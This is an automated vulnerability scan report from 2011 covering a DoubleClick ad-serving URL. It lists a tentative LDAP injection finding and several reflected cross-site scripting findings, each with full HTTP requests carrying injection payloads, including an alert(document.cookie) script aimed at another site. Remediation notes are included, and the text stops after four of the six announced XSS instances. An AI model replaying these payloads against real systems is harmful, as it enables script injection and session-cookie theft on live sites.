XSS, ad.doubleclick.net, DORK, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Mar 06 09:35:22 CST 2011.


The DORK Report

Loading

1. LDAP injection

2. Cross-site scripting (reflected)

2.1. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.43 [adurl parameter]

2.2. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.43 [ai parameter]

2.3. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.43 [client parameter]

2.4. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.43 [num parameter]

2.5. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.43 [sig parameter]

2.6. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.43 [sz parameter]

3. Cross-domain Referer leakage

4. Cross-domain script include

5. HTML does not specify charset



1. LDAP injection  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ad.doubleclick.net
Path:   /adi/N2524.134426.0710433834321/B4169763.43

Issue detail

The num parameter appears to be vulnerable to LDAP injection attacks.

The payloads d0f188edc574ed12)(sn=* and d0f188edc574ed12)!(sn=* were each submitted in the num parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.

Request 1

GET /adi/N2524.134426.0710433834321/B4169763.43;sz=160x600;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=d0f188edc574ed12)(sn=*&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=;ord=195306200? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5863382378589562&output=html&h=600&slotname=1599283928&w=160&lmt=1299444464&flash=10.2.154&url=http%3A%2F%2Fpr-usa.net%2Findex.php%3F888d6%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7d79b89dc1%3D1&dt=1299422904230&shv=r20101117&jsv=r20110208&saldr=1&correlator=1299422904659&frm=0&adk=749070039&ga_vid=1337551796.1299422905&ga_sid=1299422905&ga_hid=623513704&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=arial&dfs=12&biw=1609&bih=1006&eid=33895299&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=511&xpc=dguaE28yzz&p=http%3A//pr-usa.net
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 06 Mar 2011 14:49:32 GMT
Vary: Accept-Encoding
Expires: Sun, 06 Mar 2011 14:49:32 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 937

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3ac2/c/1cf/%2a/a;234421268;0-0;0;50265525;2321-160/600;40028928/40046715/1;;~sscs=%3fhttp://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=d0f188edc574ed12)(sn=*&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=http%3a%2f%2fads.networksolutions.com/landing%3Fcode%3DP111C519S512N0B2A1D691E0000V101"><img src="http://s0.2mdn.net/viewad/578176/160x600_WebsiteTrial.gif" border=0 alt="Advertisement"></a></body></html>

Request 2

GET /adi/N2524.134426.0710433834321/B4169763.43;sz=160x600;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=d0f188edc574ed12)!(sn=*&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=;ord=195306200? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5863382378589562&output=html&h=600&slotname=1599283928&w=160&lmt=1299444464&flash=10.2.154&url=http%3A%2F%2Fpr-usa.net%2Findex.php%3F888d6%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7d79b89dc1%3D1&dt=1299422904230&shv=r20101117&jsv=r20110208&saldr=1&correlator=1299422904659&frm=0&adk=749070039&ga_vid=1337551796.1299422905&ga_sid=1299422905&ga_hid=623513704&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=arial&dfs=12&biw=1609&bih=1006&eid=33895299&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=511&xpc=dguaE28yzz&p=http%3A//pr-usa.net
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 06 Mar 2011 14:49:33 GMT
Vary: Accept-Encoding
Expires: Sun, 06 Mar 2011 14:49:33 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7288

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->
<!-- Code auto-generated on Thu Nov 11 10:21:59 EST 2010 -->
<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
<SCRIPT LANGUAGE="JavaScript">
<!--
function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/578176/NS2140_160x600-TRIAL.swf";
var gif = "http://s0.2mdn.net/578176/160x600-GREEN-FREEWEBSITETRIAL.jpg";
var minV = 10;
var FWH = ' width="160" height="600" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ac2/f/1d0/%2a/j%3B234498883%3B0-0%3B0%3B50265525%3B2321-160/600%3B39312032/39329819/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=d0f188edc574ed12)!(sn=*&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=http%3a%2f%2fads.networksolutions.com/landing%3Fcode%3DP111C519S512N0B2A1D691E0000V101");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow = "false";
var winW = 0;
var winH = 0;
var winL = 0;
var winT = 0;

var moviePath=swf.substring(0,swf.lastIndexOf("/"));
var sm=new Array();


var defaultCtVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ac2/f/1d0/%2a/j%3B234498883%3B0-0%3B0%3B50265525%3B2321-160/600%3B39312032/39329819/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqA
...[SNIP]...

2. Cross-site scripting (reflected)  previous  next
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.43 [adurl parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N2524.134426.0710433834321/B4169763.43

Issue detail

The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 16212"-alert(1)-"be041257a80 was submitted in the adurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N2524.134426.0710433834321/B4169763.43;sz=160x600;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=16212"-alert(1)-"be041257a80 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5863382378589562&output=html&h=600&slotname=1599283928&w=160&lmt=1299444464&flash=10.2.154&url=http%3A%2F%2Fpr-usa.net%2Findex.php%3F888d6%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7d79b89dc1%3D1&dt=1299422904230&shv=r20101117&jsv=r20110208&saldr=1&correlator=1299422904659&frm=0&adk=749070039&ga_vid=1337551796.1299422905&ga_sid=1299422905&ga_hid=623513704&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=arial&dfs=12&biw=1609&bih=1006&eid=33895299&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=511&xpc=dguaE28yzz&p=http%3A//pr-usa.net
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 7341
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 06 Mar 2011 14:50:31 GMT
Expires: Sun, 06 Mar 2011 14:50:31 GMT

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
Q3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=16212"-alert(1)-"be041257a80http://ads.networksolutions.com/landing?code=P61C151S512N0B2A1D687E0000V102&promo=BCXXX04225");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscr
...[SNIP]...

2.2. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.43 [ai parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N2524.134426.0710433834321/B4169763.43

Issue detail

The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e791c"-alert(1)-"7a696a7516d was submitted in the ai parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N2524.134426.0710433834321/B4169763.43;sz=160x600;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxAe791c"-alert(1)-"7a696a7516d&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=;ord=195306200? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5863382378589562&output=html&h=600&slotname=1599283928&w=160&lmt=1299444464&flash=10.2.154&url=http%3A%2F%2Fpr-usa.net%2Findex.php%3F888d6%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7d79b89dc1%3D1&dt=1299422904230&shv=r20101117&jsv=r20110208&saldr=1&correlator=1299422904659&frm=0&adk=749070039&ga_vid=1337551796.1299422905&ga_sid=1299422905&ga_hid=623513704&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=arial&dfs=12&biw=1609&bih=1006&eid=33895299&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=511&xpc=dguaE28yzz&p=http%3A//pr-usa.net
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 06 Mar 2011 14:48:57 GMT
Vary: Accept-Encoding
Expires: Sun, 06 Mar 2011 14:48:57 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7392

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
mV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxAe791c"-alert(1)-"7a696a7516d&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=http%3a%2f%2fads.networksolutions.com/landing%3Fcode%3DP111C519S512N0B2A1D688E0000V101%26promo%3DBCXXX04226");
var fs
...[SNIP]...

2.3. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.43 [client parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N2524.134426.0710433834321/B4169763.43

Issue detail

The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c4096"-alert(1)-"248de449408 was submitted in the client parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N2524.134426.0710433834321/B4169763.43;sz=160x600;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=c4096"-alert(1)-"248de449408&adurl=;ord=195306200? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5863382378589562&output=html&h=600&slotname=1599283928&w=160&lmt=1299444464&flash=10.2.154&url=http%3A%2F%2Fpr-usa.net%2Findex.php%3F888d6%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7d79b89dc1%3D1&dt=1299422904230&shv=r20101117&jsv=r20110208&saldr=1&correlator=1299422904659&frm=0&adk=749070039&ga_vid=1337551796.1299422905&ga_sid=1299422905&ga_hid=623513704&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=arial&dfs=12&biw=1609&bih=1006&eid=33895299&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=511&xpc=dguaE28yzz&p=http%3A//pr-usa.net
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 06 Mar 2011 14:50:13 GMT
Vary: Accept-Encoding
Expires: Sun, 06 Mar 2011 14:50:13 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7250

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=c4096"-alert(1)-"248de449408&adurl=http%3a%2f%2fads.networksolutions.com/landing%3Fcode%3DP13C519S512N0B2A1D686E0000V100%26promo%3D699DOMAINS");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg
...[SNIP]...

2.4. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.43 [num parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N2524.134426.0710433834321/B4169763.43

Issue detail

The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 56506"-alert(1)-"17732176a57 was submitted in the num parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N2524.134426.0710433834321/B4169763.43;sz=160x600;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=56506"-alert(1)-"17732176a57&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=;ord=195306200? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5863382378589562&output=html&h=600&slotname=1599283928&w=160&lmt=1299444464&flash=10.2.154&url=http%3A%2F%2Fpr-usa.net%2Findex.php%3F888d6%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7d79b89dc1%3D1&dt=1299422904230&shv=r20101117&jsv=r20110208&saldr=1&correlator=1299422904659&frm=0&adk=749070039&ga_vid=1337551796.1299422905&ga_sid=1299422905&ga_hid=623513704&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=arial&dfs=12&biw=1609&bih=1006&eid=33895299&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=511&xpc=dguaE28yzz&p=http%3A//pr-usa.net
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 06 Mar 2011 14:49:17 GMT
Vary: Accept-Encoding
Expires: Sun, 06 Mar 2011 14:49:17 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7338

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
